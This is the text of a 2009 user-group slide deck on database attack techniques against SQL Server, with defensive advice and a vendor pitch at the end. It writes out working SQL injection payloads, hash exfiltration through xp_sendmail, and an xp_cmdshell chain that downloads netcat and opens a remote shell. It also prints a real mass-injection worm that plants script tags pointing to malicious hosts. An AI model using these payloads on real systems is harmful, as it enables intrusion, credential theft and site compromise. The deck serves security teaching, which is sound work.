Think Like a Hacker - Database Attack Vectors

“Think Like A Hacker”

Database Attack Vectors and
Techniques to Thwart Them
Silicon Valley SQL Server User Group
September 15, 2009

Mark Ginnebaugh, User Group Leader
www.bayareasql.org

Presenters:
Slavik Markovich Sudha Iyer
CTO, Sentrigo Director, LogLogic

What’s This Presentation All About?

Know your enemy
Understand types of problems and
exploits
Common DB hacking techniques
Explain how to avoid SQL injection
problems
Raising the bar for the hackers

What are database security threats?

Databases hold volumes of sensitive data
e.g. credit card numbers, financial results,
bank records, billing information, intellectual
property, customer lists, personal data …
But:
• Databases are not monitored
• Seldom upgraded
• Not patched
This makes databases an easy target

Databases - The Crown Jewels

Types of hacking by number of breaches *
Types of hacking by number of breaches

Unauthorized access via default or shared
17 / 53%
credentials

SQL Injection 16 / 79%

Improperly Constrained or Misconfigured ACLs 9 / 66%

Unauthorized access via Stolen Credentials 7 / 0.1%

Authentication Bypass 5 / 0.1%

Brute-Force 4 / 7%

Privilege Escalations 4 / 0%

Exploitation of Session Variables 3 / 0%

Buffer Overflow 3 / 0%

Cross-Site Scripting 1 / 0%

* 2009 Verizon Data Breach Report

Some Examples

Database breaches exist since the first DB
SB 1386 (July 2003), a U.S. law mandating
breach notification, made them public
Over 130M credit and debit cards
• Heartland Payment Systems
Hannaford Brothers, 7-Eleven, T.J. Maxx, Barnes &
Noble, BJ's Wholesale Club, Boston Market, DSW,
Forever 21, Office Max and Sports Authority
Many breaches remain undetected or not made public

Know Your Enemy

Unauthorized access - not just hackers
• Too many privileges
Internal attacks
• Disgruntled employees
• Just trying to get the job done
• Industrial espionage, Identity theft, etc.
• Look around you!!!

The Problems

Does a hacker need DBA access?
Myriad of privileges
• System level, Application level, Data access
• Any privilege in the right circumstances can
be an issue
Other issues
• Network issues, incorrect configuration
• Too many features – large attack surface

The Problems

Most typical problems of real world
databases
• Weak / default passwords for database
accounts
• Missing patches / patchsets – see
http://en.wikipedia.org/wiki/SQL_slammer_
(computer_worm)
• Unsecure customer / 3rd party code (T-SQL
stored procedures)

Basic Hacking Techniques

Reconnaissance: nmap - http://nmap.org/
SQLPing3 - http://sqlsecurity.com/

Basic Hacking Techniques

Crack the passwords
• Many brute force tools out there

Newly Released Vulnerability

Use DBCC Bytes to read passwords from
memory
Never use SQL Server Native Authentication

Powerful Tools Are Easily Available

Basic Hacking – The Human Factor

Wait for your DBA to go for a coffee break
Go to his desktop
Open Management Studio
Add yourself as an administrator to the
database of your choice
This can be easily scripted and put on a USB
drive

SQL Injection

(from Wikipedia)
• a technique that exploits a security
vulnerability occurring in the database layer
of an application. The vulnerability is
present when user input is either incorrectly
filtered for string literal escape characters
embedded in SQL statements or user input is
not strongly typed and thereby unexpectedly
executed.

SQL Injection

Exists in any layer of any application
• C/S and Web Applications
• Stored program units
Build in
User created
Has many forms
• Extra queries, unions, order by, sub selects
Easily avoided
• Bind variables, strong typing

SQL Injection Types

In band – Use injection to return extra data
• Part of normal result set (unions)
• In error messages
Out of band – Use alternative route like
UTL_HTTP, DNS to extract data
Blind / Inference – No data is returned but the
hacker is able to infer the data using return
codes, error codes, timing measurements and
more

SQL Injection In-band

select * from AdventureWorks.HumanResources.Employee where EmployeeID = 1;
select name, password from sys.syslogins where password is not null

1 14417807 1209 adventure-worksguy1 16 Production
Technician - WC60 1972-05-15 00:00:00.000 M M 1996-
07-31 00:00:00.000 0 21 30 1 AAE1D04A-C237-
4974-B4D5-935247737718 2004-07-31 00:00:00.000
2 sa 虀뛎◌豕醜‫ߨᦉﬥ‬ 㾋㴼绳ᦉ
3 test ꍮᒬᦉᦉ쵌藌街Ḷ왏 컕

Now, just attack the password hash using either using brute-force or dictionary.

SQL Injection In-Band

Using errors – inject the following:
1 and 1 in (select @@version)
Result is:
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value
'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86)
Mar 23 2007 16:28:52
Copyright (c) 1988-2005 Microsoft Corporation
Developer Edition on Windows NT 5.1 (Build 2600:
Service Pack 2)
to data type int.

SQL Injection Out-of-band

Send information via HTTP/SMTP/DNS to an external site:

select * from AdventureWorks.HumanResources.Employee where EmployeeID
= 1; EXEC master.dbo.xp_sendmail
@recipients=N'slavik@sentrigo.com',
@query = N'select user, password from sys.syslogins where password is not
null' ;

Same can be done with DNS access – no one blocks this…

Search for DNS-Request: www.8A8F025737A9097A.sentrigo.com and collect
the logs from the DNS server

Blind SQL Injection

Example code:
If is_srvrolemember('sysdamin') > 0) waitfor delay '0:0:5'

If (ascii(substring(@string, @byte, 1)) & (power(2, @bit)))
> 0 waitfor '0:0:5'

SQL Injection – Web Application

Username = ' or 1=1 --
The original statement looked like:
'select * from users where username = ''' + username +
''' and password = ''' + password + ''''
The result =
select * from users where username = '' or 1=1 --' and
password = ''

Start The Attack

Use a single quote as the username:
select * from users where username = ''' and password = ''
Unclosed quotation mark after the character string ''
'.
Incorrect syntax near ''
'.

Let’s Find More Data

Add an invalid username – ' having 1=1—
select * from users where username = ''
having 1=1 -- and password = ''
Column 'users.name' is invalid in the select
list because it is not contained in either
an aggregate function or the GROUP BY
clause.

Let’s Find More Data – Part II

Find out other columns by adding ' group
by users.username having 1=1 --
select * from users where username = '' group by
users.username having 1=1 -- and password = ''
Column 'users.password' is invalid in the select
list because it is not contained in either an
aggregate function or the GROUP BY clause.

Now, Add Some Data From Table

Pass in – '; insert into users (username,
password) values ('haxor', 'p0wned') --

select * from users where username = '';
insert into users (username, password)
values ('haxor', 'p0wned') -- and password
= ''

Or, Get Some Data

Pass in – ' union select min(username)
from users where username > 'a' --
select * from users where username = ''
union select min(username) from users
where username > 'a' -- and password = ''
Conversion failed when converting the
nvarchar value 'admin' to data type int.

Now We Can Enumerate All Users

Pass in the resulting user in a loop – ' union
select min(username) from users where
username > 'admin' –
Now, select the password for admin – ' or 1 in
(select password from users where username =
'admin') --
Conversion failed when converting the varchar value 'xxxxx' to data
type int.

System Level Attacks

Well, we all know about xp_cmdshell
Pass in – '; exec master..xp_cmdshell 'dir >
c:dir.txt' –
Payload can be:
'nslookup attacker_machine' to signal to the
attacker that attack succeeded
'tftp –I 192.168.0.1 GET nc.exe c:nc.exe' –
Now we have something to work with
'C:nc.exe 192.168.0.1 53 –e cmd.exe' – Let's
start a remote command shell

Real World Example

Mass SQL worm in the wild since April 08
Enumerates all input fields and tries
various SQL injection techniques
Iterates on all text fields in the database
and adds a call to a malicious script

Real World Example

SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET
@S=CAST(0×4445434C415245204054205641524348415228323535292C404320564152434
841522832353529204445434C415245205461626C655F437572736F7220435552534F5220
464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6
563747320612C737973636F6C756D6E73206220574845524520612E69643D622E69642041
4E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E7
8747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D3136
3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D2
05461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443
485F5354415455533D302920424547494E20455845432827555044415445205B272B40542
B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841
522834303030292C5B272B40432B275D29292B27273C736372697074207372633D6874747
03A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729
204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F20405
42C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154
45205461626C655F437572736F7220 AS VARCHAR(4000)); EXEC (@S);-- ORDER BY ooo ASC

Wow, how to read this?

Real World Example

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR
b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(’UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script
src=http://www.chkadw.com/b.js></script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Real World Example

The interesting part is here:
’UPDATE ['SOME_TABLE'] SET
['SOME_TEXT_COL']=RTRIM(CONVERT(VARCHAR(
4000),['SOME_TEXT_COL']))+”<script
src=http://www.chkadw.com/b.js></script>”’

This is why you should use NoScript even for
trusted sites

Protecting Your Database

Think like a hacker
• Learn about exploits
• Always look for security issues
Configuration, permissions, bugs
Learn and use available tools
• nmap, Metasploit, Wireshark, Hydra,
Cryptool, SQLPing, Passwordizer, etc.


Apply patch sets and upgrades
• Easier said than done
Check for default and weak passwords
regularly
Secure the network
• Valid node checking + firewall
• Use encryption


Install only what you use, remove all else
• Reduce your attack surface
The least privilege principle
• Lock down packages
System access, file access, network access
Encrypt critical data
Use secure coding techniques
• Bind variables, input validation
• Clear ownership of security issues

Bind Variables – Java

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from users where username = '" +
username + "'";
vs.
PreparedStatement pstmt =
conn.prepareStatement("select * from users
where username = ?");
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();

Bind Variables - ASP

Dim rsQuery
Set rsQuery = Server.CreateObject("ADODB.Recordset")
rsQuery.ActiveConnection = xxx
rsQuery.Source = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
rsQuery.CursorType = 0
rsQuery.CursorLocation = 2
rsQuery.LockType = 1
rsQuery.Open()
VS.
Dim rsQuery
rsQuery = Server.CreateObject ("ADODB.Command")
rsQuery.ActiveConnection = xxx
rsQuery.CommandText = "SELECT * FROM users WHERE username = ? AND password = ?"
rsQuery.Parameters.Append rsQuery.CreateParameter("username", 200, 1, 50, username)
rsQuery.Parameters.Append rsQuery.CreateParameter("password", 200, 1, 50, password)
rsQuery.Prepared = True
Set rsResult = rsQuery.Execute

Secure Coding Policies

Setup secure coding policies for the
different languages
Make the coding policies part of every
contract – external and internal
Default document for all developers
OWASP

Some Coding Rules

Avoid hardcoding username/password
Use full qualified names for function and procedure
calls
Always validate user/database input
Be careful with dynamic statements (Cursors, SQL-
Statements, …)
Be careful with file access
Be careful with OS command execution

LogLogic Database Security Manager

Host-based Sensor Technology
In-Depth Activity Monitoring
Granular Policy-based
Detection
Integrated Prevention
Capabilities
Real-Time Virtual Patching
Compliance Reporting and
Forensics
Appliance-based Solution

Integrated Solution

LogLogic Database Security Manager LogLogic Open Log Management

» Granular policy-based detection » Compliance reporting
» Integrated prevention capabilities » Long term archival
» Real-time virtual patching » Forensics analysis

www.bayareasql.org

To attend our meetings or inquire about speaking
opportunities, please contact:

Mark Ginnebaugh, User Group Leader
mark@designmind.com

Think Like a Hacker - Database Attack Vectors

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